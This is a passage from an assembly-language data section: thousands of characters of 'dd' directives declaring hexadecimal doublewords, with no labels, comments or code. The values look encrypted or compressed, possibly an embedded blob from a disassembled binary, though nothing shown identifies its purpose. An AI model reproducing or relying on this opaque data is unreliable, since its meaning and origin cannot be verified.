0CA7FEFFEh, 0C3C52FB8h dd 0BFC6FBCFh, 8EA674D9h, 38D86B0Ch, 2185B833h, 0F76607ACh dd 0E46831E9h, 1AD2D711h, 0F10DE65Fh, 2D6801F2h, 0C9F63F7Bh dd 0B53AFD4Ah, 65B5E891h, 0A833595Ch, 0E0E735BBh, 0C55F5EDEh dd 0FB20EA65h, 4C984CAFh, 0D602402Bh, 4D291D62h, 655FD2D8h dd 0A0D900E4h, 30F8BD4h, 0E62D732Fh, 0EFA44B1Ch, 224FD480h dd 8A15E1Dh, 0E4255B18h, 0E249962Ch, 75803FE9h, 4AF0588Bh dd 490BE4B2h, 0F06C954Bh, 906B5B36h, 0B0A4EB99h, 8AEEE034h dd 0E912A9CBh, 0C1B6C16Ch, 0FBE2EEEFh, 0D4C6457h, 0D434AF5h dd 1E5E41F4h, 19863681h, 708F7B5Ch, 99B1357Eh, 0B13228D2h dd 19A5F821h, 0E215F1D4h, 0F6FD5A97h, 0C6A300B4h, 0E9385F09h dd 1CCE182Dh, 52B0FC15h, 25100817h, 2A513F22h, 14B5EB96h dd 73682F45h, 9161499Ah, 0F92D4101h, 0C6E22F5Fh, 0C1354A62h dd 89D72C02h, 0D4D0E2B9h, 6310E227h, 7AAF209h, 0ED5B3EEAh dd 0FA50E26Fh, 5AFE755h, 0A232E868h, 69522E1Ch, 45222E82h dd 0EFFA854Fh, 7F9F071Ah, 5687A68h, 0E730295Fh, 604DBBh dd 0B5B973C2h, 0E98C3D9Fh, 0F09CD5Bh, 7FC4D2ACh, 0E47F8220h dd 0F87D210Bh, 2DF61C16h, 35C40C2Fh, 7188C42Dh, 0E15BE776h dd 0D5E959EFh, 0EAB22B0Ch, 0F296684Dh, 0CDD010A6h, 0A528895Bh dd 6BC3D42Eh, 62B07E00h, 5EA3FAFh, 3670F15Eh, 0A6080168h dd 22BF059Fh, 0F47402Dh, 0E4C0659Bh, 0FE83E929h, 8179DAABh dd 1C033925h, 68500A3Dh, 60AC1DF1h, 0BCB045B5h, 0B0E8282Eh dd 0E4D8F658h, 0C0FE2CD0h, 177B10C4h, 55D1C631h, 3C68E220h dd 0C3B19797h, 0E90211BBh, 9C1D52E3h, 0FE55C16Ah, 2C458D55h dd 7C6561E4h, 0DCF8A506h, 0E23BEFD5h, 0A5F84BB8h, 36BAF1B7h dd 0F2F0FF22h, 1F2B7DCh, 2D0594BEh, 14BE6226h, 5568F3D3h dd 14C5EF73h, 9F28B8D8h, 3A6B85B9h, 0E7804FABh, 5BD51BF3h dd 0C0BE840Fh, 0F4D419E3h, 0D6AC434Fh, 0E63EA748h, 8484E993h dd 3ECB89CFh, 0B9476BDDh, 0D4CBCCF4h, 166E5B10h, 0DCE83C68h dd 17975A3Dh, 5B40B2CEh, 75864FBDh, 0F62D33C9h, 29C24660h dd 1AB8E6Dh, 91C5C1B2h, 68DFFC57h, 0B0E3524Eh, 3E1BC4Fh dd 58845A3Fh, 0CEEEBCFFh, 0CC944FC0h, 761F5F80h, 87715A3Ah dd 0D9E127A5h, 205FCF00h, 0E91375E8h, 0DF29B4Dh, 84C8B84Ah dd 0DFC9295Bh, 5305EB30h, 71D4C973h, 60436E01h, 3BFB011Dh dd 9F796546h, 661B04F5h, 0AB5B1A82h, 7DE4AF87h, 0EFEC0A0h dd 77C480CCh, 0D458E507h, 2E68A1C2h, 48ECC02h, 65047DF0h dd 7586AC67h, 5B609F37h, 0E40EAFBBh, 0E110AEEDh, 460A7805h dd 0C5810073h, 0D0CE626h, 0B2D7D00h, 0E0AD052Ch, 0C0154AEBh dd 84C1E94Ah, 24773DC5h, 311A3ED0h, 4F0CFCD2h, 5CD0C8FCh dd 0A97A859Ch, 5E1CF7B2h, 99147317h, 8D3091ACh, 5BCCB6Bh dd 0FC06AC27h, 0A460256Fh, 8C2F0289h, 71C3D031h, 607582AAh dd 3EE784E5h, 497DFEFBh, 29285DA6h, 732C2F8Dh, 680433F3h dd 88A21144h, 35135978h, 4EC0A392h, 0F5D28FDh, 0F5EA98C5h dd 91D230E6h, 48295E80h, 3C04ACFDh, 0F24B4751h, 0BE5680EBh dd 13280A5Fh, 8DEF749h, 0C83E7BD7h, 0E8D3DE31h, 4F09A544h dd 957BF6DDh, 4E7CE84Ch, 0E9F1E4E9h, 5B432861h, 882D4F17h dd 46D3EF32h, 0E7DF0D24h, 5635CE4Ah, 0D2B28DBCh, 5EA2A2DDh dd 0A5A4C75Fh, 0F626B3F0h dd 0BCFB5F0h, 7C907FF9h, 0B5866325h, 0B83BE278h, 18BE01BCh dd 34222C0Dh, 5D8A630h, 0ADBF4F2Dh, 92ED851Fh, 0DE5C5833h dd 0D2386169h, 101A446Eh, 84B1ED5Fh, 0E4CDBEE2h, 25217CC3h dd 66455EFBh, 5770708h, 8403EAC0h, 8003D17Dh, 0C5BE88EBh dd 82B16461h, 0DF9CCBDEh, 3972E92Ch, 0F2CC7EADh, 0E9126F50h dd 64AAAEC9h, 0B16BBF0h, 9C1681F9h, 64CFA61Bh, 2B805018h dd 9FDD08FDh, 0CBF69600h, 255B4466h, 0FE932BB8h, 0E94E012Eh dd 22B25A70h, 1371BCF4h, 60B8D5DDh, 8E2EEB92h, 4BDC662Dh dd 0B5230846h, 7BC5CC68h, 0A650D43Bh, 0EC2F4FE1h, 9586F296h dd 805B3783h, 60CA85FBh, 789708F8h, 9E4A2504h, 0B1009664h dd 0A0B7539Fh, 7312EF80h, 0F60819C0h, 0D48410D7h, 0B06250DFh dd 1C9FECAh, 64D18859h, 4680826Bh, 0DDE60581h, 2447901h dd 6903F9B2h, 0E5F7D285h, 63A13A84h, 19A65720h, 0D06F771Ch dd 0C60640A2h, 0FE3D39BDh, 84F3A76Ch, 0EAE8577Ah, 0B5BA52C0h dd 1902BC4Ah, 216D86B9h, 1ABCD608h, 258FC50h, 0DF5277B4h dd 0DE986966h, 0CDAB7D31h, 8143D2F6h, 0E47BDAFBh, 0F5C65EDFh dd 51D50B15h, 0C4343DADh, 68025D64h, 17DE0930h, 462A3761h dd 0CB81FDCAh, 0CBB9D5CDh, 3F608520h, 7896853h, 0ED82404Fh dd 0A8F1E5CAh, 50DC735h, 897E6532h, 0D9A53E4Ch, 15460800h dd 294E17A6h, 0D054EC4Ch, 0A927500Ch, 67EDE3C0h, 9D5F063Ch dd 88249FAh, 0F70A5EDCh, 226EBD6h, 7BF1E214h, 0A17677B0h dd 6A4FB3B0h, 6DAB2ACh, 0D8A034C5h, 0BD3F1501h, 0F6B9E912h dd 0EC27D83h, 57E8A806h, 7704ACBFh, 0FA012DC9h, 903B2CAAh dd 90B9205Ah, 0B758B3C9h, 2DBCD395h, 4A4E3BF6h, 2502365Ch dd 50757CDFh, 4C40A027h, 2F282D71h, 0D9B9A454h, 13593B9Ah dd 7CD2DEDBh, 0EDEE5D02h, 97A4F783h, 3736FFE3h, 1FE9720Bh dd 6825A158h, 9FB3513Eh, 0BDEF9552h, 56BD1Eh, 0EB813C16h dd 512D4E28h, 0A064FC40h, 435D2608h, 12D107FCh, 0D1317535h dd 1BD1C47h, 2D2F5266h, 0F4E4404Bh, 0E60F88B3h, 97AA2C58h dd 0DE4715BBh, 0B416AD3Bh, 52FEF484h, 4017140h, 4A3A05E8h dd 4E4FF8AAh, 0E9C325B2h, 0A030F2Bh, 7D2FB205h, 0C618D215h dd 16BD04BFh, 0BF514554h, 9713C0C8h, 0B0BC073h, 8A0AC47Bh dd 4E7CC324h, 0F4CAF818h, 4BE90598h, 682D424Bh, 0A376554Dh dd 205B9E42h, 6143A2CDh, 0DA01645Ah, 9188BC5Dh, 493BC07Bh dd 61B81E07h, 292EB580h, 0D77DC01h, 63D338C7h, 34C2A16Eh dd 0F80F70B4h, 7301E108h, 309C20BAh, 0DA5886D4h, 6148637Fh dd 0C27B2DC0h, 0CD7432E4h, 8214DC82h, 53666797h, 7E98877h dd 0A9CBE909h, 0D1577EE6h, 3808E1E9h, 5405805Ah, 0F02BD629h dd 82A690F0h, 1157608h, 0D120812Dh, 0CBF07A1Ah, 0D1A45BE1h dd 3A874A3Eh, 4F1057CEh, 723850BBh, 7489F45Bh, 45DAE46Ah dd 0BE560C40h, 6455A8Ah, 7A393124h, 92E35B5Ah, 0DA1DA24Ch dd 8BB2451h, 0B900E1FCh, 720D1BDFh, 48F10081h, 0E9075B3Eh dd 22979C26h, 29D5F98h, 2464EA81h, 0FED8B981h, 0C22A0E5Fh dd 0FF072EE9h, 0C9682AA2h, 0BE05226Ch, 73913147h, 0FA1325EBh dd 2C04BD5Eh, 0D1EA7AFAh, 3AB7E06Ch, 58596C8Ch, 82F432BFh dd 0AD05D44Bh, 66B8C601h, 0C06B1F2Bh, 61263322h, 75C34297h dd 0C2CF71A4h, 60556049h, 1A3564Bh, 0BF051CB8h, 4426FC55h dd 0DC21EFE3h, 80A6C189h, 2A17BE8Dh, 0F2BE415Ah, 88D030A8h dd 0AC6971EAh, 9FB48080h, 0E330C2B3h, 0C29DE92Fh, 6511D604h dd 0C3328D66h, 2CBD5502h, 77090634h, 60056CC1h, 6465F334h dd 71F2D94h, 5F241428h, 48E2D15Dh, 0A17D0BBEh, 79EBF6EEh dd 123B8971h, 263A8F8h, 215A5852h, 39915FC3h, 32BE006Fh dd 5DA81222h, 6093E056h, 7B32B1F2h, 5CFE5Fh, 0D40EA868h dd 1068754Ch, 800E94FBh, 0CC693EC4h, 1A2AD02h, 4BF36801h dd 1A9BCC6Ah, 0E07AD541h, 0B458BD87h, 0C4C9DFBDh, 0C9C92105h dd 6460410Eh, 2631E655h, 85A6937h, 0AC01F0C1h, 3204132Ch dd 0D8C1EBD1h, 927DFA30h, 89C79DE9h, 0C98B4CBEh, 0BC94D0F3h dd 737E5A49h, 0B321EF45h, 0BE6C16E9h, 662C563Bh, 0BA5C80C7h dd 0AD1399C4h, 0C1799090h, 2978350Fh, 8A81CC2h, 31F094B7h dd 7FDCDAF7h, 82DFF94Fh, 0F360292Eh, 0A0A75631h, 8974B608h dd 0B2DF0647h, 721AFC3Ah, 968EB68h, 0F5BD264Eh, 64BBE9A1h dd 0B30B5347h, 0D6DD208Dh, 52370022h, 0E6C072B6h, 0B0500701h dd 6276E99Dh, 1885662Dh, 0B14EEE1Bh, 0B3567ECDh, 2DE284C5h dd 30ECBAC0h, 0F8C10C75h, 3C2711CEh, 5F469430h, 800F47E1h dd 39C067EEh, 0DF874482h, 603DE0Ah, 0B071FC3Ah, 382535C7h dd 82DA3168h, 8A5EA5D1h, 0E49FF767h, 0F6EC1640h, 0BE661DD2h dd 0D96C2940h, 5B4616A5h, 563B60A9h, 57401168h, 0EC1325E9h dd 5F040AD1h, 13ABDBF7h, 0F02900AFh, 21AE08A0h, 0CAA3D84Ah dd 0E95B784Ah, 0DB85FE2Dh, 0D7878BE5h, 0D8096CDEh, 79AD10C8h dd 2DC75F6h, 0E288B9ECh, 817D3058h, 3EDC0F0h, 0CB80BF00h dd 148E0C58h, 73E6305Ch, 0E0B0E85Bh, 0E9C0289Dh, 0C86622A9h dd 38ED20F1h, 0C9BCEE4Ah, 15F20479h, 0EEE74951h, 0BD8F46D1h dd 34ED2F82h, 7F400A08h, 0C49E637Ah, 0F1440560h, 0E19A5F8Ah dd 0E6F66F19h, 0ADA16126h, 2DF7AE2h, 7CC78305h, 430B057Dh dd 0D3DA0D72h, 0D1A90004h, 0AF03FB07h, 91E9DF09h, 0C28512AAh dd 3DFB0D45h, 2F297C56h, 6AA7F95Eh, 0CD687078h, 8FBE3354h dd 0F7576B40h, 4058C94Ch, 7BE32C6Eh, 85644A1Dh, 7CB87D17h dd 578E5932h, 0FDD60102h, 305F9201h, 7A5AF440h, 2012E6BFh dd 6817A94Fh, 49CC29A6h, 38AE48F4h, 134B6582h, 0B1B022DDh dd 85087Ch, 0DDB6B951h, 12950660h, 5714AB72h, 0EE72FB0Fh dd 0C5FE7440h, 9807E5C0h, 0A6220C0h, 4BC0B083h, 314B6CBFh dd 8F02B0BDh, 33E92047h, 8B594EC9h, 747F4C34h, 59B8520Ch dd 0FDCBC0E1h, 5B3CA9F2h, 945F49CBh, 272D9CC7h, 529D845Ah dd 77CC40Ch, 6A2D12D3h, 346E0B3Bh, 0B15FCCC2h, 5F32F5D9h dd 97DB681Ch, 165F1FFEh, 0C14EC1ECh, 0FF2AD67h, 8231C325h dd 717327Ah, 0EB510609h, 19685240h, 93A25026h, 885B4094h dd 1877C15h, 1DE9C252h, 324C7756h, 0E62B8341h, 5F81006h dd 0FAF6125Fh, 0D0C5DF64h, 3B98F8F2h, 0AF060F66h, 983CE9C8h dd 0A1BB0768h, 0A4419C5Ah, 0D0DE065h, 3F1F5C09h, 40C7004Fh dd 9201F446h, 1E2B272Bh, 80CF153h, 4040BD38h, 293C5A9Dh dd 0C8B813FBh, 0D765A0C9h, 860E60FAh, 35B40BE3h, 704D001h dd 9BF21691h, 3B53E2D3h, 84763CBBh, 2EBC119h, 9D8DD2F0h dd 5B4F5646h, 0FD112AF9h, 20125435h, 8774864Ah, 51A2EBC4h dd 232968C2h, 0FE800579h, 0E97C3B41h, 3E30B2C5h, 6F00BF57h dd 7B813F9h, 16589D4Ah, 0A8A08422h, 0C6FCF912h, 5B18EB92h dd 4A812E58h, 5E211D8Ch, 0F7C244F8h, 238B70Eh, 8A685156h dd 6158540Ch, 9AA51F67h, 0FE4BDABAh, 0C9A91825h, 6C7554BDh dd 37815D4Bh, 0B37B9C0Ch, 0AAE71360h, 0A8802324h, 4CDB15C1h dd 0F2005822h, 0E90DE73Dh, 8BA46651h, 2039D409h, 14EF7C5Eh dd 2E13880Ch, 51109C8Ch, 888AC790h, 76179D41h, 95E9829Ch dd 961E76E3h, 8919ABC3h, 7EF95D10h, 0F94E487Ch, 94935B1Ch dd 40CB5B44h, 1520C3C4h, 6B87565h, 0BA35AC64h, 0E11922ABh dd 204C3C58h, 0FB977ED1h dd 0E9C43BA5h, 20BF8EBFh, 0CAF9412Dh, 5B64F492h, 5989248Eh dd 80A816EFh, 0D542EEF9h, 95219DA6h, 16096972h, 5FF252C9h dd 79686687h, 0B8EA187Dh, 0D37E007Bh, 4DCF2D76h, 0BBA03597h dd 0D23D71B0h, 591F8524h, 0A48149F3h, 8948A60Ch, 68A940D1h dd 175A3409h, 0E7BB203Bh, 0C010D447h, 922C9D46h, 0E000C11Fh dd 79054802h, 948B9A83h, 856C0CA8h, 7B07C5BBh, 2967EAF2h dd 3A777ECBh, 206FE33Ah, 0F553C424h, 2B452144h, 4B29FFF4h dd 9DA9A8F0h, 5153B049h, 1F68C135h, 31FF4D75h, 8320D457h dd 0F5724B64h, 41B37DE4h, 0EFC28296h, 70DF84D3h, 0A19A251Ah dd 0D98BB151h, 830419D4h, 6AE25503h, 0EA81FDA2h, 90F63B72h dd 79E7F64Eh, 3F82994Fh, 41FD802Ch, 401530D2h, 6DA419D3h dd 53ED4088h, 5EB8B72Dh, 1FC39C52h, 9141CAF8h, 587C40AFh dd 2B901912h, 3C056A09h, 204DDA2Ah, 0B9249CFBh, 0D8ADE46Bh dd 89792D60h, 0A0A5DE71h, 4E43F78Eh, 79A1A046h, 6A172D76h dd 3FF6950Bh, 0DE540E3Ch, 7AC7DE35h, 0BC6CFC77h, 0C419B58Fh dd 0B6A65168h, 66577018h, 9DB4D897h, 0CD71643h, 0D9BD5B0Ch dd 102AAA3Bh, 1F7F727Eh, 3C03508h, 0FE0D1D52h, 3C612E77h dd 0CA6F1765h, 964C7B4Eh, 0FF31A210h, 986B2E82h, 243E477Fh dd 825F1721h, 94755A64h, 609DFE80h, 19ED3D94h, 0D8E57906h dd 6C2471CDh, 0E50143C6h, 10651378h, 16165E30h, 0E8256A4Ch dd 0D2E70073h, 0C15FD163h, 0E8DA0EFh, 0BF6680C4h, 190609Fh dd 975FEEF8h, 82BDF416h, 15D65C9h, 7057D9F7h, 3B170A31h dd 1AB18AAh, 8941FDA0h, 0FE513028h, 560D2D18h, 2592760Ch dd 81F4A18Fh, 139D4508h, 8A5Eh, 1C0CBD55h, 27E9138Ch, 95F4771Eh dd 0CF297040h, 55A2D0Ah, 2D776ED2h, 0E6A421Dh, 7B66F65Fh dd 0F0D6E90Bh, 0E830264Dh, 2D7131E9h, 6DEF709Ch, 0E5C43504h dd 2584A7E0h, 0C18953AAh, 0E16AABh, 0B363F368h, 37900640h dd 0EA04B003h, 320770D4h, 0C2E7C2BFh, 11820889h, 0E4DA51A1h dd 0A0AFFD20h, 809E02D8h, 5679DE89h, 0BE678B7h, 5E9A5BBAh dd 942DBEDAh, 4365306h, 0AC0DCA68h, 0BDFC9395h, 0D09CBEE5h dd 36BA480Ch, 10DF492h, 5859191Ch, 93685B82h, 0EF125C13h dd 6460F6D5h, 4AAE4115h, 0AA40DE90h, 14B604BBh, 0EB091765h dd 2006C741h, 0D420A018h, 0CC451ED6h, 1EEEF604h, 2F1912EEh dd 18DA5314h, 3B2C322Fh, 80F5FDEBh, 0A6728B5Eh, 7D2C4D7Ch dd 9348D4B0h, 0AC081F24h, 0EE880E6Fh, 0CB5AF444h, 3F803BBEh dd 0EFE7AEECh, 0B4403016h, 0EED14E59h, 4F9CF446h, 0F5AD3252h dd 5A0B1558h, 55546768h, 0CC5D0F32h, 0E983B76Bh, 3216D1A8h dd 29EE5B54h, 0B4F302FAh, 655D20EAh, 142888DAh, 650E763Fh dd 77A14129h, 18770ABDh, 68177E73h, 0E4BD507Fh, 4760B771h dd 4B819660h, 55C6002Bh, 0D0F73748h, 0F9753507h, 3D50BDB3h dd 0BC32127Eh, 0C52D01D6h, 7B55733Ch, 704CDE1h, 293A26D9h dd 3C90083Ah, 0B30487D6h, 34EBEC4Eh, 25C8271h, 0D296E651h dd 201244EDh, 13F7E350h, 8FD15451h, 0FF0410AFh, 1C0AB193h dd 35E342Dh, 0C9FE58C1h, 0D1805997h, 2CEB8007h, 303820E1h dd 0CAE9C817h, 68551041h, 8D237E12h, 0D4C9E24Eh, 581910C9h dd 5FCFA540h, 0B07E759h, 21BC67E9h, 0E47A14Fh, 1DF15F20h dd 0CB7B684Dh, 1055CE89h, 4D585B64h, 114E928h, 0B8D37585h dd 90AD107Ch, 18595D12h, 2005BEEEh, 511B0D0Bh, 2D5FC29h dd 437136A6h, 643E9E60h, 0CE677A3Bh, 400551E4h, 752768FBh dd 0EAF3DC73h, 0F9C90872h, 80E30638h, 54161BC3h, 12B9A98Bh dd 419F22D7h, 1B0B48D4h, 0AD88375h, 6512D7Bh, 15562218h dd 9040C20h, 31E2038Bh, 944681BEh, 0B8F3A6A2h, 0BDB26025h dd 0B57D0907h, 13CC4553h, 8DB0397h, 311E133Dh, 4E8BE3CDh dd 0E9C26AFDh, 45D5D0BBh, 8D1A3EFCh, 5742F98Ah, 56D2905Ch dd 0FB845277h, 0E789008Eh, 0C475FD68h, 0F253986Dh, 2F2D7D14h dd 5202903Dh, 23436AE9h, 33273AB6h, 35766660h, 0E4442A27h dd 843EFD71h, 8B4A5EEAh, 59692B6h, 1C63B927h, 584BFC06h dd 0D09E12F7h, 515B0EA3h, 0D4B14252h, 465C2B2h, 4CFE88C3h dd 986A5011h, 0C4C3FE80h, 0C130622Ah, 70CD0420h, 2BE92C66h dd 28B84484h, 0F510E9B0h, 0D16B52B4h, 8C5399D7h, 35CE3BB8h dd 90E85A7Eh, 1743C22Fh, 0C1F33107h, 3EE206EAh, 0B266770Ch dd 936521F2h, 8FFC01D7h, 89A8B84Ah, 80045813h, 9DB205A8h dd 0C6918C34h, 26E6E90Dh, 7B1257CAh, 227DA180h, 0A098775Fh dd 76F1FE0Bh, 63887FFCh, 0C72B34E9h, 16C38420h, 402B5FE0h dd 0BABD54DDh, 0DCEA400Fh, 6713263Bh, 0D46B1CB3h, 0B016BD12h dd 11F0E67Eh, 44695B14h, 0AE8DB147h, 949239F0h, 0E7335254h dd 0FA0BD3DBh, 675DFC5Ah, 5BD90BDCh, 0EA80E9E2h, 7D05C79h dd 340B1AE1h, 0B502BA50h, 7E535660h, 7C81BC47h, 29279E37h dd 0A3093FE9h, 58551EADh, 0A004CE56h, 0FE02AC6Fh, 3D963C4h dd 0B089E26Ah, 0BF29E95Ch, 4B7CB8Fh, 12B87DC9h, 0B07A7ECh dd 0C5421573h, 5690AE40h, 3980AFB5h, 0F5873BEDh, 86D5F679h dd 592DB2C5h, 0D2AC4460h, 0B522A0C2h, 2C24B77Fh, 0BA60D0C2h dd 4B944877h, 42E0E044h, 7A3C74C1h, 0C804D1Eh, 4F0F4841h dd 2B20EE9h, 0EEB34C97h, 41FAC4C0h, 52BF135Bh, 0B28908B7h dd 36F53117h, 956A7B60h, 114C5F68h, 815E3B00h, 45449FE3h dd 0C1808206h, 0D929F9FEh, 0B2CC4B3h, 0ED3AFE3Ch, 0C69597DFh dd 20948DEDh, 13D9F010h, 22351B3h, 28058480h, 4032C4DDh dd 93B6528Fh, 0F0068850h, 0D3F6D886h, 7F68F108h, 0ED8CF917h dd 7B0A51C7h, 0CAFC5A5h, 0CB5D474h, 14E097EEh, 0A69D8201h dd 54F2B7Ch, 8B5F7AE0h, 2F3272A7h, 0E8FEC583h, 0ADE28B59h dd 0E57B1276h, 0EE3C5440h, 4DE9757Ch, 0BF000323h, 7CCA3DDEh dd 507EFC1h, 51EAF781h, 0A1F8A6FCh, 0EA06B394h, 3E665F20h dd 0A5A5FA89h, 0CDB7C4D0h, 5EE985E1h, 0A012FD02h, 0B1125868h dd 0B20A67Bh, 9EC88D35h, 402E67D9h, 7E083E39h, 0FF722793h dd 0E8307F09h, 3AEAAC7Ah, 4D341DDh, 1DE3C3E3h, 3D97B4D1h dd 210601EBh, 0D2F72226h, 7B8B3Bh, 534071B7h, 795EF229h dd 703D3E56h, 12E90B86h, 0D1507FA3h, 72B5C3EEh, 0C8CBF216h dd 0FE09A07Ch, 3D80FFCAh, 0D508D6EAh, 0F692FBFCh, 0AD90F3F4h dd 468C2F25h, 0E4F98363h, 95D36FB4h, 74D13CC2h, 77E42A8h dd 4F996226h, 0BBCC5145h, 3E53B4BFh, 5C7ED825h, 5BE6C04Bh dd 99C266FEh, 0B909CD2h, 0B3531A01h, 4EABE982h, 0F32234h dd 0DB76903h, 0D7F7FB87h, 1A4308CCh, 0C20F0356h, 0B5E2E968h dd 0A7F2314Fh, 49222C1Fh, 0B0FA9B0Dh, 0A49DFA90h, 95822900h dd 0C30F5659h, 490364D3h, 0AD0586CEh, 136280Fh, 81D7FA11h dd 1B892E8Ah, 502C7CD0h, 5011F02Fh, 0E0688D66h, 0C75AECF3h dd 0E9287516h, 0A56FA7D1h, 0F3AC0AE9h, 5B565D2Dh, 11D749h dd 16472821h, 48D1039Ah, 5F0573D8h, 0AAC99261h, 0F7B63C41h dd 0CB300E2Ch, 0EECDD7E7h, 86B21127h, 58DBDEB7h, 42C70847h dd 9703F068h, 0F369D165h, 7BA3E73Ah, 0B6E4628h, 0BD45920Eh dd 0B3CBC048h, 0C036DE5Ah, 0FEDBEF70h, 9695897Fh, 8F58BFDBh dd 0A2E78FA0h, 0FDC2880h, 1BEB805Bh, 0D4FA8364h, 0C98FC78Fh dd 6DECB280h, 0BC8076CDh, 0CFFE2CF3h, 6B110047h, 0DD01189Ch dd 880C190h dd 99532E9h, 92A6D9E4h, 5A670551h, 0DE25FDE2h, 0E64790D6h dd 0C772EE29h, 0C10500DAh, 812F7BC0h, 34D07389h, 30EBA58Ah dd 6CB6766Fh, 0F4BA591h, 1DF6C1A4h, 5EC5020Eh, 0D3C830B2h dd 1F63A41Bh, 0DC03610Ch, 128EDFA0h, 8C6825Bh, 880FE66Ah dd 7C594BFCh, 84C5123Ah, 238DAAD5h, 80D84D30h, 0B878B252h dd 88277262h, 1F1E40F7h, 0FFE8B7D1h, 7E4BC833h, 0AF66BA0h dd 0D06FCA47h, 50D408C7h, 540E0409h, 0AF024A0Dh, 898172D9h dd 21AE68E3h, 0EBCF0E2Ch, 0C042CDA4h, 157B7152h, 0A7E80D4Fh dd 80FDBA2Ch, 7DE7814Fh, 56485457h, 6D5D7EE6h, 2E2C0417h dd 0CFC25304h, 0EB17FEABh, 0A2BDB27Dh, 3065D88h, 0F083EBB6h dd 0F1322CD1h, 5D4E2EA0h, 6187EBE3h, 816E6470h, 6C48C128h dd 0FE4192C0h, 11477621h, 57672C6Fh, 0B2685202h, 7845CD4Bh dd 544705C4h, 0C14A5CC8h, 2B239E32h, 758B9405h, 3D1E8CAFh dd 8B12214h, 47B80BF2h, 471DC16h, 81C769F1h, 25F19D2h dd 5389DC51h, 0EB488CFAh, 22C15F54h, 5A7D41BEh, 408D6220h dd 0A20F6864h, 4928AC37h, 0FF612B51h, 0C7495902h, 417A9A0Ch dd 13C36FB5h, 256D48B3h, 4C7F0E10h, 16F8380Eh, 2EE5AD7h dd 0EEB05082h, 306942E1h, 0D27DB413h, 2FEDE14Ch, 2A5A3B4Ah dd 4CAE1366h, 0D803805h, 3F6B58C2h, 875C45FEh, 0D221929Fh dd 6CF4DE29h, 0D1BE80DFh, 3B26591Eh, 61567B92h, 4B7A7EB5h dd 0D2BE158h, 9661A7Fh, 57C4A987h, 0E4A73667h, 9329828h dd 89CB8078h, 30A4CE82h, 0C2DA05F5h, 101055EDh, 0AEAD30B3h dd 5A8F1DF0h, 102AF96Fh, 0F04ED915h, 0F2BE8065h, 41352926h dd 0E9849AF7h, 55A1D21Ah, 95EC4DDh, 0F6D6A8EDh, 7125A02h dd 92411855h, 4A38BFECh, 8F4EEDE9h, 0EAD283E8h, 1613842Ch dd 0F966FB6Ch, 23258B5h, 3F08B9C2h, 0AD64D5A2h, 659E504Bh dd 274C6148h, 678AC680h, 72B512C5h, 0E908803Fh, 9F0BBFF4h dd 0B3E8BDD6h, 41F8F927h, 0F53D5EBFh, 691A6045h, 0F0B5EDE0h dd 0D271A0EFh, 42518160h, 50C435BAh, 93193B09h, 9E390342h dd 0A0715A98h, 0D44B8A6Fh, 0A3866127h, 0C3E4B791h, 0C4207490h dd 0F606BDF2h, 501F456Fh, 11C8E888h, 0BE6602A7h, 0BE16CEFh dd 0BD011454h, 63B920E5h, 0A2F34C60h, 0F710FD07h, 0D8839127h dd 0C3EE4F11h, 3405C1DEh, 92E94288h, 1A2DDEB6h, 59C97541h dd 0C7D02AEAh, 9DE12CE9h, 96909866h, 0F1C8995Eh, 6F7B4568h dd 209848A2h, 5492EAE9h, 0A0825F60h, 0FF26C81Ch, 8FAC7DBh dd 67B31C30h, 4B377B52h, 2C408505h, 4998542Ah, 17BF4Dh dd 5B662CC5h, 9859EF08h, 5B829810h, 1A294474h, 1419A7A7h dd 24B3E388h, 0A810F0DCh, 6665427h, 6E0C7390h, 98736376h dd 0A1421DE9h, 63CA607h, 0C44E65Ch, 7A08670Fh, 43C98F4Dh dd 260AD87Bh, 166B4B30h, 36A5002Bh, 0E976297Ch, 988A6820h dd 64B6202Fh, 4BFBAC48h, 0B2C385BCh, 0E0C5E9C9h, 0E0BD295Ch dd 1304461Bh, 0F95E5A7Fh, 12309579h, 0FACE3AFh, 0D99771C4h dd 0A44EE544h, 8216B071h, 0BB2D20AFh, 0B75F2AFAh, 23AF7F01h dd 7F600A1Eh, 3F688092h, 20F6584Bh, 40FC417Fh, 0FB3C98BAh dd 0CE295014h, 2F08419Bh, 191887h, 732CF7F4h, 9AE9136Ah dd 369C8C4Eh, 0A5296CCFh, 0D46649C0h, 5D0C9820h, 33168056h dd 0E077FA1Ch, 53451EF2h, 0FB79A50Dh, 0E62AD803h, 5981A806h dd 683C09DAh, 4DB01E3Eh, 0F27B2777h, 7749EBA2h, 0D9E07166h dd 0DDED2108h, 32B304ABh, 0B14F597Bh, 0CB47041Dh, 44149665h dd 0A7D7F9B5h, 68781AD6h, 477E5576h, 77F68302h, 7BB5EA98h dd 0B0EC283Eh, 7AB96518h, 69FB176Eh, 0E1FCF421h, 0E0E8372Fh dd 1C76FF3h, 0D2D10DBh, 7E5DAA47h, 0B0988E0Eh, 97E954Ah dd 2AD87EA3h, 52845C95h, 42BF74C6h, 97AD7414h, 0AC774B9Dh dd 0B104CC65h, 13AB2820h, 0CF26A2D5h, 0A5F3D6E6h, 737C2C2Fh dd 2832755Ah, 0E41011D7h, 0A9B829C2h, 414B0868h, 1C3C82A3h dd 0D98048CDh, 0B80A7B23h, 84DC2B07h, 49D205F5h, 958D4030h dd 0D6F78067h, 0F68CD160h, 5A080332h, 2FF2B156h, 0A7102E9Eh dd 0AF2D02D6h, 0A91BFD3Fh, 97FEAAF8h, 443D5011h, 63090885h dd 3645C1E2h, 65CA2F69h, 73496809h, 0B823967Dh, 8859939h dd 0F5806F25h, 70423B67h, 0A3EF4F89h, 0FCA15032h, 8AA180E3h dd 551D2974h, 82800BDh, 0E5810478h, 8D243277h, 41032050h dd 201750Ch, 98796118h, 0E2614D2Bh, 0FEE37EFBh, 167B7310h dd 2FE91433h, 651FE397h, 61EF8C7Eh, 624F91EEh, 33E297C2h dd 1279E6D2h, 94B354A4h, 636A8804h, 52C5EB60h, 16661A01h dd 0F9C64B72h, 4E74252Ah, 79C2A534h, 9D55E4C0h, 0FC08AAF1h dd 9DBF0242h, 0E1614901h, 0BE3DCCE7h, 16E97713h, 0F6808547h dd 0FECE601Eh, 2551EED0h, 8355A5B5h, 0D328A3FBh, 0F8D0B759h dd 1A5AF430h, 0FF4475E9h, 0F5C3F860h, 0AB457582h, 0DE4CAFBBh dd 894C721Ch, 137C4597h, 2160964h, 81C9F10Ch, 2318CB06h dd 90C3E92h, 6E4010F4h, 0E37449D8h, 28080516h, 0F1836A0Bh dd 0CB6CEB22h, 5C8CD22h, 1346D0CBh, 4E9CC037h, 18485D12h dd 9DCC3AC8h, 0F7811BE7h, 79C535DFh, 175C0AACh, 43F1D1A6h dd 1C97ECAh, 